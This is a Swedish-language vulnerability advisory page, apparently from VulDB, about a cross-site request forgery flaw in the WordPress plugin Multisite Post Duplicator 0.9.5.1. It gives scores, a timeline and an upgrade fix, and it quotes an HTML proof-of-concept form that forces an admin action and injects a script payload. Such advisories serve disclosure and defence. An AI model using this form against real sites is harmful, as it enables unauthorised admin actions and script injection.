CVSS Meta Temp poäng	Nuvarande exploateringspris (≈)	CTI intressepoäng
4.9	$0-$5k	0.00

Det var en problematiskt svag punkt upptäckts i Multisite Post Duplicator 0.9.5.1 på WordPress (WordPress Plugin). Som påverkar en okänd funktion. Manipulering en okänd ingång leder till en sårbarhet klass förfalskning på begäran över webbplatsen svag punkt.

Felet upptäcktes på 01/11/2016. Den svaga punkten är publicerad 09/12/2016 som CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do (WordPress plugin) i en form mailinglist post (Full-Disclosure) (bekräftad). Den rådgivande finns tillgänglig för nedladdning på seclists.org. Attacken på nätet kan. Ingen autentisering-krävs för användning. Det finns inga tekniska detaljer, men en exploit känd.

Det var en exploit utvecklats i HTML och släpptes omedelbart efter rapporten. Den exploit kan laddas ner från seclists.org. Han deklarerade proof-of-concept. Minst 38 dagar var den svaga punkten som 0-day. Den kod som används av utnyttja är:

<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\";>
  <input type=\"text\" name=\"mpd-post-status\" value=\"draft\">
  <input type=\"text\" name=\"mdp-prefix\" value=\"&lt;script&gt;alert(1)&lt;/script&gt;\">
  <input type=\"text\" name=\"action\" value=\"add_foobar\">
  <input type=\"text\" name=\"el0\" value=\"post\">
  <input type=\"text\" name=\"el1\" value=\"1\">
  <input type=\"text\" name=\"el2\" value=\"1\">
  <input type=\"text\" name=\"el3\" value=\"1\">
  <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\">
  <input type=\"submit\">
</form>

En uppgradering till den version 1.1.3 att åtgärda problemet.

Produktinfo

Typ

• WordPress Plugin

namn

• Multisite Post Duplicator

Version

• 0.9.5.1

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vektor: 🔍
VulDB Pålitlighet: 🔍

CVSSv3info

VulDB Meta Basscore: 5.4
VulDB Meta Temp poäng: 4.9

VulDB Baspoäng: 5.4
VulDB Temp Betyg: 4.9
VulDB Vektor: 🔍
VulDB Pålitlighet: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vektor	Komplexitet	Autentisering	Sekretess	Integritet	Tillgänglighet
låsa upp	låsa upp	låsa upp	låsa upp	låsa upp	låsa upp
låsa upp	låsa upp	låsa upp	låsa upp	låsa upp	låsa upp
låsa upp	låsa upp	låsa upp	låsa upp	låsa upp	låsa upp

VulDB Baspoäng: 🔍
VulDB Temp Betyg: 🔍
VulDB Pålitlighet: 🔍

Researcher Baspoäng: 🔍

Utnyttjarinfo

Klass: Förfalskning på begäran över webbplatsen
CWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍

Lokal: Nej
Avlägsen: Ja

Tillgänglighet: 🔍
Tillgång: Offentlig
Status: Proof-of-Concept
Programmeringsspråk: 🔍
Ladda ner: 🔍
Pris förutsägelse: 🔍
Nuvarande prisuppskattning: 🔍

0-Day	låsa upp	låsa upp	låsa upp	låsa upp
I dag	låsa upp	låsa upp	låsa upp	låsa upp

Hotinformationinfo

Intressera: 🔍
Aktiva skådespelare: 🔍
Aktiva APT-grupper: 🔍

Motåtgärderinfo

Rekommenderad: Upgrade
Status: 🔍

0-dagars tid: 🔍
Utnyttja fördröjningstid: 🔍

Upgrade: Multisite Post Duplicator 1.1.3

Tidslinjeinfo

01/11/2016 🔍
09/12/2016 +38 dagar 🔍
09/12/2016 +0 dagar 🔍
11/12/2016 +2 dagar 🔍
25/06/2019 +926 dagar 🔍

Källorinfo

Rådgivande: CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do (WordPress plugin)
Status: Bekräftad
scip Labs: https://www.scip.ch/en/?labs.20161013

Inträdeinfo

Skapad: 11/12/2016 11:04
Uppdaterad: 25/06/2019 17:51
Ändringar: 11/12/2016 11:04 (54), 25/06/2019 17:51 (2)
Komplett: 🔍

Diskussion

Do you know our Splunk app?

Download it now for free!